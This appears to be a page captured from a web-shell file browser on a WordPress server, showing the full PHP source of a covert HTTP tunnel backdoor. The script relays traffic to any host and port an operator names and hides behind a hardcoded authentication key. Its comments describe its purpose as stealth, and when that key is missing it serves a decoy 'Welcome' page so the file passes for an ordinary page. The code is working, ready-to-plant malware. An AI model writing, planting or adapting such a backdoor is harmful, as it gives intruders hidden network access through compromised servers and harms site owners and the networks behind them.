/
var
/
www
/
html
/
wordpress
/
wp-admin
/
Upload File
HOME
<?php // 错误报告设置 error_reporting(0); ini_set('display_errors', 0); // 设置执行时间限制 set_time_limit(0); ignore_user_abort(true); // 定义常量 define('TUNNEL_VERSION', '1.0.0'); define('HEARTBEAT_INTERVAL', 60); define('MAX_BUFFER_SIZE', 8192); define('CONNECTION_TIMEOUT', 30); class TunnelHandler { private $session_id; private $connections = array(); private $last_heartbeat; public function __construct() { $this->session_id = $this->generateSessionId(); $this->last_heartbeat = time(); $this->initSession(); } /** * 生成会话ID */ private function generateSessionId() { return md5(uniqid(rand(), true)); } /** * 初始化会话 */ private function initSession() { if (session_status() == PHP_SESSION_NONE) { session_start(); } if (!isset($_SESSION['tunnel_connections'])) { $_SESSION['tunnel_connections'] = array(); } } /** * 处理HTTP请求 */ public function handleRequest() { $method = $_SERVER['REQUEST_METHOD']; $action = $this->getParameter('action', 'ping'); // 设置响应头 $this->setHeaders(); switch ($action) { case 'ping': $this->handlePing(); break; case 'connect': $this->handleConnect(); break; case 'send': $this->handleSend(); break; case 'recv': $this->handleReceive(); break; case 'close': $this->handleClose(); break; case 'heartbeat': $this->handleHeartbeat(); break; default: $this->sendError('Invalid action'); } } /** * 设置HTTP响应头 */ private function setHeaders() { header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // 添加一些正常的Web页面头部,增强隐蔽性 header('X-Powered-By: PHP/' . phpversion()); header('Server: Apache/2.4.41'); } /** * 获取请求参数 */ private function getParameter($name, $default = null) { if (isset($_POST[$name])) { return $_POST[$name]; } if (isset($_GET[$name])) { return $_GET[$name]; } return $default; } /** * 处理ping请求 */ private function handlePing() { $response = array( 'status' => 'ok', 'version' => TUNNEL_VERSION, 'session' => $this->session_id, 'time' => time() ); $this->sendResponse($response); } /** * 处理连接请求 */ private function handleConnect() { $host = $this->getParameter('host'); $port = intval($this->getParameter('port')); $conn_id = $this->getParameter('conn_id'); if (!$host || !$port || !$conn_id) { $this->sendError('Missing parameters'); return; } // 创建socket连接 $socket = @fsockopen($host, $port, $errno, $errstr, CONNECTION_TIMEOUT); if (!$socket) { $this->sendError("Connection failed: $errstr ($errno)"); return; } // 设置非阻塞模式 stream_set_blocking($socket, false); // 保存连接 $this->connections[$conn_id] = $socket; $_SESSION['tunnel_connections'][$conn_id] = true; $response = array( 'status' => 'connected', 'conn_id' => $conn_id, 'host' => $host, 'port' => $port ); $this->sendResponse($response); } /** * 处理发送数据请求 */ private function handleSend() { $conn_id = $this->getParameter('conn_id'); $data = $this->getParameter('data'); if (!$conn_id || !isset($this->connections[$conn_id])) { $this->sendError('Invalid connection'); return; } $socket = $this->connections[$conn_id]; $decoded_data = base64_decode($data); $bytes_sent = @fwrite($socket, $decoded_data); if ($bytes_sent === false) { $this->closeConnection($conn_id); $this->sendError('Send failed'); return; } $response = array( 'status' => 'sent', 'conn_id' => $conn_id, 'bytes' => $bytes_sent ); $this->sendResponse($response); } /** * 处理接收数据请求 */ private function handleReceive() { $conn_id = $this->getParameter('conn_id'); if (!$conn_id || !isset($this->connections[$conn_id])) { $this->sendError('Invalid connection'); return; } $socket = $this->connections[$conn_id]; $data = @fread($socket, MAX_BUFFER_SIZE); if ($data === false) { $this->closeConnection($conn_id); $this->sendError('Receive failed'); return; } $response = array( 'status' => 'received', 'conn_id' => $conn_id, 'data' => base64_encode($data), 'bytes' => strlen($data) ); $this->sendResponse($response); } /** * 处理关闭连接请求 */ private function handleClose() { $conn_id = $this->getParameter('conn_id'); if ($conn_id) { $this->closeConnection($conn_id); } $response = array( 'status' => 'closed', 'conn_id' => $conn_id ); $this->sendResponse($response); } /** * 处理心跳请求 */ private function handleHeartbeat() { $this->last_heartbeat = time(); $response = array( 'status' => 'alive', 'session' => $this->session_id, 'time' => $this->last_heartbeat, 'connections' => count($this->connections) ); $this->sendResponse($response); } /** * 关闭连接 */ private function closeConnection($conn_id) { if (isset($this->connections[$conn_id])) { @fclose($this->connections[$conn_id]); unset($this->connections[$conn_id]); } if (isset($_SESSION['tunnel_connections'][$conn_id])) { unset($_SESSION['tunnel_connections'][$conn_id]); } } /** * 发送响应 */ private function sendResponse($data) { echo json_encode($data); } /** * 发送错误响应 */ private function sendError($message) { $response = array( 'status' => 'error', 'message' => $message, 'time' => time() ); echo json_encode($response); } /** * 清理过期连接 */ public function cleanup() { foreach ($this->connections as $conn_id => $socket) { if (!is_resource($socket)) { $this->closeConnection($conn_id); } } } /** * 析构函数 */ public function __destruct() { $this->cleanup(); } } // 伪装成正常的Web页面内容 function renderFakePage() { echo '<!DOCTYPE html> <html> <head> <title>Welcome</title> <meta charset="UTF-8"> </head> <body> <h1>Welcome to our website</h1> <p>This is a normal web page.</p> <p>Current time: ' . date('Y-m-d H:i:s') . '</p> </body> </html>'; } // 主程序逻辑 try { // 检查是否为隧道请求 $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : ''; $auth = isset($_REQUEST['auth']) ? $_REQUEST['auth'] : ''; // 简单的认证机制(可以根据需要修改) $valid_auth = md5('tunnel_auth_key_2024'); if ($action && $auth === $valid_auth) { // 处理隧道请求 $tunnel = new TunnelHandler(); $tunnel->handleRequest(); } else { // 显示伪装页面 renderFakePage(); } } catch (Exception $e) { // 出错时也显示伪装页面 renderFakePage(); } ?>